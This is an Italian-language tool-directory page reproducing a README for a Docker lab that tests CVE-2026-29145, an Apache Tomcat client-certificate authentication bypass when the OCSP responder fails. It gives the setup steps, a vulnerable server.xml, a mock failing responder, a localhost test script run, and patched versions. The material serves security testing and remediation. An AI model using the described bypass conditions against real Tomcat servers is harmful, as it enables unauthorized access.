Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-29145-Tester — Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare la CVE-2026-29145. | Kitploit
Strumenti/GitHubGitHub/chenjp/cve-2026-29145-tester
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingAutenticazioneApprendimento e Formazione
GitHubchenjp/cve-2026-29145-tester

CVE-2026-29145-Tester

Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare la CVE-2026-29145.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di Test per CVE-2026-29145

📌 Panoramica

Questo repository contiene un ambiente proof-of-concept (PoC) progettato per testare CVE-2026-29145.

La vulnerabilità è un bypass dell'autenticazione nell'implementazione Mutual TLS (CLIENT_CERT) di Apache Tomcat. Quando OCSP (Online Certificate Status Protocol) è configurato con soft-fail disabilitato, Tomcat potrebbe non trattare un errore di controllo OCSP come un rifiuto definitivo. Ciò consente a un client con un certificato potenzialmente revocato o non verificato di bypassare l'autenticazione se il responder OCSP non è raggiungibile o restituisce un errore.

🛡️ Dettagli della Vulnerabilità

ProprietàValore
ID CVECVE-2026-29145
Punteggio CVSS9.1 (Critico) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Vettore di AttaccoRete
Privilegi RichiestiNessuno
ImpattoBypass dell'Autenticazione

Prerequisiti per la Vulnerabilità

  • ✓ Autenticazione CLIENT_CERT abilitata in Tomcat
  • ✓ Controllo della revoca OCSP abilitato
  • ✓ Opzione soft-fail disabilitata (modalità hard-fail)
  • ✓ Responder OCSP non raggiungibile o non funzionante

🚀 Per Iniziare

Prerequisiti

  • Docker & Docker Compose: Per eseguire il container Tomcat vulnerabile
  • OpenSSL: Per generare la PKI (Public Key Infrastructure) - solitamente preinstallato su Linux/macOS
  • Python 3.7+: Per eseguire lo script di test e il responder simulato
  • curl (opzionale): Per test manuali
  • PowerShell (solo Windows): Se si utilizzano gli script .ps1

1. Ciclo di Test Completo Automatizzato (Consigliato)

Lo script run_test.sh automatizza l'intero processo: pulizia, generazione dei certificati ed esecuzione di tutti gli scenari di test (vulnerabile, successo e patchato).

root@kitploit:~
# Navigare nella directory del progetto
cd CVE-2026-29145-Tester

# Rendere eseguibili gli script
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Installare le dipendenze Python (se richieste da poc_exploit.py)
pip install -r requirements.txt

# Eseguire la suite di test completa
./run_test.sh

2. Generare i certificati

Su Linux/macOS:

root@kitploit:~
./setup_certs.sh

Su Windows (PowerShell):

root@kitploit:~
.\setup_certs.ps1

Cosa fa:

  • Crea una Root CA (Certificate Authority)
  • Genera il certificato server per Tomcat
  • Genera il certificato client con estensione OCSP che punta a http://localhost:8888
  • Valida che tutti i certificati siano stati creati correttamente

Output atteso:

root@kitploit:~
[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!

3. Avviare l'ambiente vulnerabile

root@kitploit:~
docker-compose up -d

Cosa fa:

  • Avvia il Mock Responder OCSP sulla porta 8888 (simula un errore con HTTP 500)
  • Avvia Tomcat 10.1.52 vulnerabile sulla porta 8443 con autenticazione CLIENT_CERT
  • Crea una rete Docker interna per la comunicazione tra servizi
  • Configura health check per entrambi i servizi

Verificare che i container siano in esecuzione:

root@kitploit:~
docker-compose ps

4. Eseguire il test di sfruttamento

root@kitploit:~
python poc_exploit.py

Output attesi:

Sistema Vulnerabile:

root@kitploit:~
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...

Sistema Patchato:

root@kitploit:~
[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).

🧪 Scenari di Test

ScenarioStato OCSPAtteso (Patchato)Risultato (Vulnerabile)Note
Funzionamento NormaleOnline e Valido200 OK ✓200 OK ✓Il controllo OCSP riesce, accesso consentito
Soft FailureOffline/Timeout403 Forbidden ✓200 OK ✗BYPASS - Responder OCSP non raggiungibile
Revoca HardOnline e Revocato403 Forbidden ✓403 Forbidden ✓Certificato esplicitamente revocato
Certificato Non ValidoCatena Non Valida403 Forbidden ✓403 Forbidden ✓La validazione della catena fallisce

Esecuzione di Diversi Scenari di Test

Test 1: Predefinito (Responder OCSP Non Funzionante)

root@kitploit:~
# Mantenere i container in esecuzione
python poc_exploit.py

Test 2: Arrestare il Responder OCSP (Simulare Timeout)

root@kitploit:~
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Test 3: Test Manuale con curl

root@kitploit:~
curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Struttura del Progetto

root@kitploit:~
CVE-2026-29145-Tester/
├── README.md                    # Questo file
├── setup_certs.sh              # Script di generazione certificati - Bash (Linux/macOS)
├── setup_certs.ps1             # Script di generazione certificati - PowerShell (Windows)
├── cleanup.sh                  # Script di pulizia e reset - Bash (Linux/macOS)
├── cleanup.ps1                 # Script di pulizia e reset - PowerShell (Windows)
├── run_test.sh                 # Script del ciclo di test completo automatizzato
├── docker-compose.yml          # Orchestrazione dei servizi Docker
├── requirements.txt            # Dipendenze Python
├── poc_exploit.py              # Script di test principale (con logging e gestione errori)
├── simple_proxy_fail.py        # Mock responder OCSP (con logging dettagliato)
├── .gitignore                  # Regole Git ignore per certificati e log
├── certs/                      # Certificati generati (creati dagli script setup_certs)
│   ├── ca-chain.pem           # Certificato Root CA
│   ├── ca-key.pem             # Chiave privata Root CA
│   ├── server-cert.pem        # Certificato server Tomcat
│   ├── server-key.pem         # Chiave privata server Tomcat
│   ├── client-cert.pem        # Certificato client di test
│   └── client-key.pem         # Chiave privata client di test
├── tomcat/
│   └── server.xml             # Configurazione Tomcat vulnerabile
└── logs/                       # Log Tomcat (creati a runtime)

📋 Dettagli di Configurazione

Configurazione Server.xml (Vulnerabile)

Il file tomcat/server.xml configura:

root@kitploit:~
<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Impostazioni Chiave:

  • certificateVerification="required" - Impone l'autenticazione CLIENT_CERT
  • OCSP on - Abilita il controllo della revoca OCSP
  • Nessun override soft-fail - Utilizza la modalità hard-fail (vulnerabile)

Configurazione del Responder OCSP

Il mock responder OCSP (simple_proxy_fail.py):

  • Ascolta su localhost:8888
  • Restituisce sempre HTTP 500 (Errore del Server)
  • Registra tutte le richieste OCSP in arrivo
  • Simula un servizio OCSP non raggiungibile/non funzionante

🔧 Risoluzione dei Problemi

Problemi Comuni e Soluzioni

❌ Errore: "OpenSSL is not installed"

root@kitploit:~
# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Errore: "Missing certificate files"

Causa: La generazione dei certificati è fallita o non è stata eseguita.

root@kitploit:~
# Pulire e rigenerare
rm -rf certs
./setup_certs.sh

❌ Errore: "Connection refused" sulla porta 8443

Causa: Il container Tomcat non è in esecuzione o non è pronto.

root@kitploit:~
# Controllare lo stato del container
docker-compose ps

# Controllare i log
docker-compose logs vulnerable-tomcat

# Assicurarsi che entrambi i servizi siano in esecuzione e sani
docker-compose up -d
sleep 10  # Attendere l'avvio dei servizi

❌ Errore: "Connection timeout"

Causa: Tomcat impiega troppo tempo ad avviarsi o ci sono problemi di rete.

root@kitploit:~
# Controllare i log di avvio di Tomcat
docker-compose logs vulnerable-tomcat

# Aumentare il timeout e riprovare
timeout 30 docker-compose logs -f vulnerable-tomcat  # Monitorare l'avvio

❌ Errore: "docker-compose: command not found"

Causa: Docker Compose non è installato o non è nel PATH.

root@kitploit:~
# Installare Docker Compose (se si utilizza la versione standalone)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

# Oppure utilizzare docker compose (V2 integrato con Docker Desktop)
docker compose up -d

❌ Errore: "SSL: CERTIFICATE_VERIFY_FAILED"

Causa: La validazione del certificato sta fallendo.

root@kitploit:~
# Verificare che i file dei certificati esistano
ls -la certs/

# Controllare la validità del certificato
openssl x509 -in certs/client-cert.pem -noout -text

❌ Errore: "requests.exceptions.SSLError"

Causa: Errore di handshake SSL - potrebbe indicare che l'hard-fail sta funzionando correttamente.

Soluzione: Questo è in realtà un segnale positivo! L'hard-fail sta impedendo l'accesso quando OCSP fallisce.

root@kitploit:~
# Controllare se il responder OCSP è in esecuzione
docker-compose ps ocsp-responder

# Visualizzare l'errore dettagliato
python poc_exploit.py  # Fornisce già un logging dettagliato

❌ Errore: "Address already in use"

Causa: La porta 8443 o 8888 è già in uso.

root@kitploit:~
# Trovare il processo che utilizza la porta
lsof -i :8443
lsof -i :8888

# Terminare il processo o utilizzare porte diverse in docker-compose.yml

Debug e Log

Visualizzare i log dettagliati

root@kitploit:~
# Log Tomcat
docker-compose logs -f vulnerable-tomcat

# Log del responder OCSP
docker-compose logs -f ocsp-responder

# Debug dello script Python
python poc_exploit.py  # Include già un logging dettagliato

Monitorare gli eventi in tempo reale

root@kitploit:~
# Aprire un terminale ed eseguire
docker-compose logs -f

# In un altro terminale, eseguire il test
python poc_exploit.py

Debug di rete

root@kitploit:~
# Testare la connettività al responder OCSP
curl http://localhost:8888/

# Testare il responder OCSP dall'interno del container Tomcat
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/

# Testare l'handshake SSL
openssl s_client -connect localhost:8443 \
  -cert certs/client-cert.pem \
  -key certs/client-key.pem \
  -CAfile certs/ca-chain.pem

🧹 Pulizia

Per rimuovere tutti i container, volumi, certificati e log:

Su Linux/macOS:

root@kitploit:~
./cleanup.sh

Su Windows (PowerShell):

root@kitploit:~
.\cleanup.ps1

Cosa fa:

  • Arresta e rimuove tutti i container Docker
  • Rimuove la directory certs/ generata
  • Rimuove la directory logs/
  • Pulisce i file cache Python

Verificare la pulizia:

root@kitploit:~
docker-compose ps  # Non dovrebbe mostrare nulla
ls -la certs/      # Non dovrebbe esistere

⚖️ Disclaimer

Questo progetto è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati.

  • ⚠️ Utilizzare solo contro sistemi di cui si è proprietari o per cui si dispone di esplicita autorizzazione scritta
  • ⚠️ L'utilizzo di questi strumenti contro sistemi senza autorizzazione è illegale e non etico
  • ⚠️ Gli autori non sono responsabili di qualsiasi uso improprio di questo software
  • ⚠️ Assicurarsi sempre di disporre di backup adeguati prima di testare su sistemi di produzione

📝 Rimedio

Per mitigare questa vulnerabilità, aggiornare Apache Tomcat alle seguenti versioni:

Serie di VersioniVersione Minima Corretta
11.0.x11.0.20 o successiva
10.1.x10.1.53 o successiva
9.0.x9.0.116 o successiva

Passaggi per l'aggiornamento:

root@kitploit:~
# Esempio: Aggiornare docker-compose.yml per utilizzare la versione patchata
# Modificare: image: tomcat:10.1.52-jdk17
# In: image: tomcat:10.1.53-jdk17

docker-compose down
docker-compose up -d

🔗 Riferimenti

  • Dettagli CVE-2026-29145
  • Documentazione Apache Tomcat
  • OCSP (RFC 6960)
  • Panoramica Mutual TLS (mTLS)

📬 Supporto

Per problemi, domande o contributi, aprire un issue o inviare una pull request.


Ultimo Aggiornamento: Aprile 2026
Stato: Test e Documentazione Completati

Scarica lo strumento